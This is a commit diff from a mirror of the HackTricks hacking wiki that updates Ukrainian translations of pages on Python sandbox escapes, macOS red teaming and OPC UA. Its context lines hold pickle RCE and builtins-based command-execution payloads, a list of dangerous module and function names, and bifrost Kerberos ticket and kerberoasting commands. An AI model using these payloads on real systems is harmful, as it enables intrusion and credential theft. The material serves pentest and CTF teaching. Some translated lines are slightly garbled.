mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
9e061f9ea6
commit
54971284d0
31 changed files with 465 additions and 464 deletions
16
README.md
16
README.md
|
@ -8,7 +8,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
**Ласкаво просимо до вікі, де ви знайдете кожен хакерський трюк/техніку/що завгодно, що я навчився з CTF, реальних додатків, читання досліджень та новин.**
|
||||
{% endhint %}
|
||||
|
||||
Щоб почати, дотримуйтесь цієї сторінки, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час пентестингу** однієї або кількох **машин:**
|
||||
Щоб почати, слідуйте цій сторінці, де ви знайдете **типовий процес**, який **вам слід дотримуватись під час пентестингу** однієї або кількох **машин:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -70,10 +70,10 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
|
||||
|
||||
* **Інсайти з хакінгу:** Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||||
* **Новини про хакінг в реальному часі:** Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||||
* **Новини про хакінг в реальному часі:** Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
|
||||
* **Останні оголошення:** Будьте в курсі нових баг-баунті та важливих оновлень платформи
|
||||
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами сьогодні!
|
||||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами сьогодні!
|
||||
|
||||
***
|
||||
|
||||
|
@ -81,9 +81,9 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на свої веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-ефектом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -96,7 +96,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** пропонує швидкі та прості API в реальному часі для **доступу до результатів пошукових систем**. Вони збирають дані з пошукових систем, обробляють проксі, вирішують капчі та аналізують всі багаті структуровані дані для вас.
|
||||
**SerpApi** пропонує швидкі та прості API в реальному часі для **доступу до результатів пошукових систем**. Вони збирають дані з пошукових систем, обробляють проксі, вирішують капчі та парсять всі багаті структуровані дані для вас.
|
||||
|
||||
Підписка на один з планів SerpApi включає доступ до понад 50 різних API для збору даних з різних пошукових систем, включаючи Google, Bing, Baidu, Yahoo, Yandex та інші.\
|
||||
На відміну від інших постачальників, **SerpApi не просто збирає органічні результати**. Відповіді SerpApi постійно включають всі оголошення, вбудовані зображення та відео, графіки знань та інші елементи та функції, присутні в результатах пошуку.
|
||||
|
@ -113,7 +113,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
|
|||
|
||||
[**WebSec**](https://websec.nl) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх загроз кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
|
||||
|
||||
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; пентестинг, **аудити безпеки**, навчання з підвищення обізнаності, фішингові кампанії, перевірка коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
|
||||
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; Пентестинг, **Аудити** безпеки, Тренінги з обізнаності, Фішингові кампанії, Огляд коду, Розробка експлойтів, Аутсорсинг експертів з безпеки та багато іншого.
|
||||
|
||||
Ще одна цікава річ про WebSec полягає в тому, що на відміну від середньої по галузі, WebSec **дуже впевнена у своїх навичках**, настільки, що вони **гарантують найкращі результати якості**, на їхньому веб-сайті зазначено: "**Якщо ми не можемо зламати це, ви не платите!**". Для отримання додаткової інформації ознайомтеся з їхнім [**веб-сайтом**](https://websec.nl/en/) та [**блогом**](https://websec.nl/blog/)!
|
||||
|
||||
|
@ -139,7 +139,7 @@ WebSec - це **все-в-одному компанія з безпеки**, щ
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -93,7 +93,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
|||
```
|
||||
Для отримання додаткової інформації про те, як працює pickle, перегляньте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip пакет
|
||||
### Пакет Pip
|
||||
|
||||
Трюк, поділений **@isHaacK**
|
||||
|
||||
|
@ -259,7 +259,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
|||
```
|
||||
#### Створення об'єктів з [метакласами](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Ключова річ, яку дозволяють нам метакласи, це **створити екземпляр класу, не викликаючи конструктор** безпосередньо, створюючи новий клас з цільовим класом як метаклас.
|
||||
Ключова річ, яку дозволяють робити метакласи, це **створити екземпляр класу, не викликаючи конструктор** безпосередньо, створюючи новий клас з цільовим класом як метаклас.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -340,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### No Builtins
|
||||
|
||||
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, навіть читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
|
||||
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **випадкового виконання коду**.
|
||||
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **произвольного виконання коду**.
|
||||
|
||||
У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них.
|
||||
|
||||
|
@ -384,7 +384,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Нижче є більша функція**](./#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **вбудовані**.
|
||||
[**Нижче наведена більша функція**](./#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **вбудовані функції**.
|
||||
|
||||
#### Python2 та Python3
|
||||
```python
|
||||
|
@ -462,9 +462,9 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Знаходження небезпечних бібліотек
|
||||
### Знаходження небезпечних бібліотек, що завантажуються
|
||||
|
||||
Наприклад, знаючи, що з бібліотекою **`sys`** можливо **імпортувати довільні бібліотеки**, ви можете шукати всі **модулі, які завантажили sys всередині них**:
|
||||
Наприклад, знаючи, що з бібліотекою **`sys`** можливо **імпортувати довільні бібліотеки**, ви можете шукати всі **модулі, що завантажені і містять імпорт sys всередині них**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
@ -527,7 +527,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
Крім того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек:
|
||||
Більше того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -563,7 +563,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## Рекурсивний пошук в Builtins, Globals...
|
||||
|
||||
{% hint style="warning" %}
|
||||
Це просто **чудово**. Якщо ви **шукаєте об'єкт, наприклад globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
|
||||
Це просто **чудово**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -686,7 +686,7 @@ main()
|
|||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Формат рядка Python
|
||||
## Python Форматний рядок
|
||||
|
||||
Якщо ви **надсилаєте** **рядок** до python, який буде **форматуватися**, ви можете використовувати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади для доступу до глобальних або вбудованих функцій, наприклад.
|
||||
```python
|
||||
|
@ -731,7 +731,7 @@ return 'HAL 9000'
|
|||
**Більше прикладів** про **формат** **рядків** можна знайти на [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Перевірте також наступну сторінку для гаджетів, які зможуть r**ead sensitive information from Python internal objects**:
|
||||
Перевірте також наступну сторінку для гаджетів, які зможуть r**ead чутливу інформацію з внутрішніх об'єктів Python**:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
|
@ -763,9 +763,9 @@ str(x) # Out: clueless
|
|||
Ви можете знайти більше подібного в розділі [**Виконання Python без викликів**](./#python-execution-without-calls).
|
||||
|
||||
Вразливість форматного рядка python не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE, як `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Однак, можливо використовувати `[]`. Тому, якщо у звичайній бібліотеці python є метод **`__getitem__`** або **`__getattr__`**, який виконує довільний код, їх можна зловживати для отримання RCE.
|
||||
Однак, можливо використовувати `[]`. Тому, якщо звичайна бібліотека python має метод **`__getitem__`** або **`__getattr__**, який виконує довільний код, їх можна зловживати для отримання RCE.
|
||||
|
||||
Шукаючи такий гаджет в python, опис пропонує цей [**запит пошуку на Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Де він знайшов цей [один](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
Шукаючи такий гаджет в python, опис пропонує цей [**запит на Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Де він знайшов цей [один](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
|
@ -799,7 +799,7 @@ pydll = LibraryLoader(PyDLL)
|
|||
Якщо ви хочете **вивчити** **байт-код Python** детально, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
У деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню структуру** **функції**, щоб витягти його.
|
||||
В деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню структуру** **функції**, щоб витягти його.
|
||||
|
||||
Це функція для перевірки:
|
||||
```python
|
||||
|
@ -821,7 +821,7 @@ dir(get_flag) #Get info tof the function
|
|||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` та `func_globals` (однакові) Отримує глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їх вміст, що оголошені:
|
||||
`__globals__` та `func_globals` (однакові) Отримує глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їх вміст, що оголошений:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -947,7 +947,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## Компіляція Python
|
||||
|
||||
Тепер уявімо, що якимось чином ви можете **вивантажити інформацію про функцію, яку ви не можете виконати**, але вам **потрібно** її **виконати**.\
|
||||
Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble ви **не знаєте, як обчислити прапор** (_уявіть більш складну функцію `calc_flag`_)
|
||||
Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble, ви **не знаєте, як обчислити прапор** (_уявіть більш складну функцію `calc_flag`_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -1007,10 +1007,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
In previous examples at the beginning of this post, you can see **як виконати будь-який python код, використовуючи функцію `compile`**. This is interesting because you can **виконати цілі скрипти** з циклами і всім іншим в **одному рядку** (and we could do the same using **`exec`**).\
|
||||
Anyway, sometimes it could be useful to **створити** **скомпільований об'єкт** на локальному комп'ютері і виконати його на **CTF machine** (for example because we don't have the `compiled` function in the CTF).
|
||||
В попередніх прикладах на початку цього посту ви можете побачити **як виконати будь-який python код, використовуючи функцію `compile`**. Це цікаво, оскільки ви можете **виконувати цілі скрипти** з циклами і всім іншим в **одному рядку** (і ми могли б зробити те ж саме, використовуючи **`exec`**).\
|
||||
У будь-якому випадку, іноді може бути корисно **створити** **скомпільований об'єкт** на локальному комп'ютері та виконати його на **CTF машині** (наприклад, тому що у нас немає функції `compiled` в CTF).
|
||||
|
||||
For example, let's compile and execute manually a function that reads _./poc.py_:
|
||||
Наприклад, давайте скомпілюємо та виконаємо вручну функцію, яка читає _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
|
@ -1037,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але прямий виклик зазвичай завершиться невдачею з повідомленням: _конструктор недоступний в обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
|
||||
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але прямий виклик зазвичай завершиться невдачею з повідомленням: _конструктор недоступний у обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1059,8 +1059,8 @@ f(42)
|
|||
|
||||
### Assert
|
||||
|
||||
Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори перевірки та будь-який код, що залежить від значення **debug**.\
|
||||
Тому перевірки, такі як
|
||||
Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори assert та будь-який код, що залежить від значення **debug**.\
|
||||
Отже, перевірки, такі як
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1082,7 +1082,7 @@ print(f"\nNot a Super User!!!\n")
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -38,7 +38,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### Використання MDM як C2
|
||||
|
||||
MDM матиме дозвіл на установку, запит або видалення профілів, установку додатків, створення локальних облікових записів адміністратора, встановлення пароля прошивки, зміну ключа FileVault...
|
||||
MDM матиме дозвіл на встановлення, запит або видалення профілів, встановлення додатків, створення локальних облікових записів адміністратора, встановлення пароля прошивки, зміну ключа FileVault...
|
||||
|
||||
Щоб запустити свій власний MDM, вам потрібно **підписати ваш CSR у постачальника**, що ви можете спробувати отримати за допомогою [**https://mdmcert.download/**](https://mdmcert.download/). А щоб запустити свій власний MDM для пристроїв Apple, ви можете використовувати [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
|
@ -71,7 +71,7 @@ JAMF може виконувати **кастомні скрипти** (скри
|
|||
|
||||
#### Захоплення пристрою JAMF
|
||||
|
||||
URL **JSS** (Jamf Software Server), який використовуватиме **`jamf`**, знаходиться в **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
**JSS** (Jamf Software Server) **URL**, який **`jamf`** буде використовувати, знаходиться в **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Цей файл в основному містить URL:
|
||||
```bash
|
||||
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||
|
@ -160,11 +160,11 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
Три типи користувачів MacOS:
|
||||
|
||||
* **Локальні користувачі** — Керуються локальною службою OpenDirectory, вони не пов'язані жодним чином з Active Directory.
|
||||
* **Мережеві користувачі** — Вразливі користувачі Active Directory, які потребують з'єднання з сервером DC для аутентифікації.
|
||||
* **Мережеві користувачі** — Нестабільні користувачі Active Directory, які потребують з'єднання з сервером DC для аутентифікації.
|
||||
* **Мобільні користувачі** — Користувачі Active Directory з локальною резервною копією своїх облікових даних та файлів.
|
||||
|
||||
Локальна інформація про користувачів та групи зберігається у папці _/var/db/dslocal/nodes/Default._\
|
||||
Наприклад, інформація про користувача з ім'ям _mark_ зберігається у _/var/db/dslocal/nodes/Default/users/mark.plist_, а інформація про групу _admin_ — у _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
Наприклад, інформація про користувача на ім'я _mark_ зберігається у _/var/db/dslocal/nodes/Default/users/mark.plist_, а інформація про групу _admin_ — у _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
На додаток до використання країв HasSession та AdminTo, **MacHound додає три нові краї** до бази даних Bloodhound:
|
||||
|
||||
|
@ -215,7 +215,7 @@ bifrost --action asktgt --username test_lab_admin \
|
|||
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
|
||||
--enctype aes256 --domain test.lab.local
|
||||
```
|
||||
### Kerberoasting
|
||||
### Керберостинг
|
||||
```bash
|
||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
|
@ -225,19 +225,19 @@ bifrost --action asktgs --spn [service] --domain [domain.com] \
|
|||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Доступ до Ключниці
|
||||
## Доступ до Keychain
|
||||
|
||||
Ключниця, ймовірно, містить чутливу інформацію, доступ до якої без генерації запиту може допомогти просунутися в червоній командній вправі:
|
||||
Keychain, ймовірно, містить чутливу інформацію, доступ до якої без генерації запиту може допомогти просунутися в червоній командній вправі:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Зовнішні Сервіси
|
||||
## Зовнішні сервіси
|
||||
|
||||
MacOS Red Teaming відрізняється від звичайного Windows Red Teaming, оскільки зазвичай **MacOS інтегровано з кількома зовнішніми платформами безпосередньо**. Загальна конфігурація MacOS полягає в доступі до комп'ютера за допомогою **синхронізованих облікових даних OneLogin та доступу до кількох зовнішніх сервісів** (як-от github, aws...) через OneLogin.
|
||||
MacOS Red Teaming відрізняється від звичайного Windows Red Teaming, оскільки зазвичай **MacOS інтегровано з кількома зовнішніми платформами безпосередньо**. Загальна конфігурація MacOS полягає в доступі до комп'ютера за допомогою **синхронізованих облікових даних OneLogin та доступу до кількох зовнішніх сервісів** (таких як github, aws...) через OneLogin.
|
||||
|
||||
## Різні техніки червоної команди
|
||||
## Різні техніки Red Team
|
||||
|
||||
### Safari
|
||||
|
||||
|
@ -255,9 +255,9 @@ MacOS Red Teaming відрізняється від звичайного Windows
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -56,7 +56,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
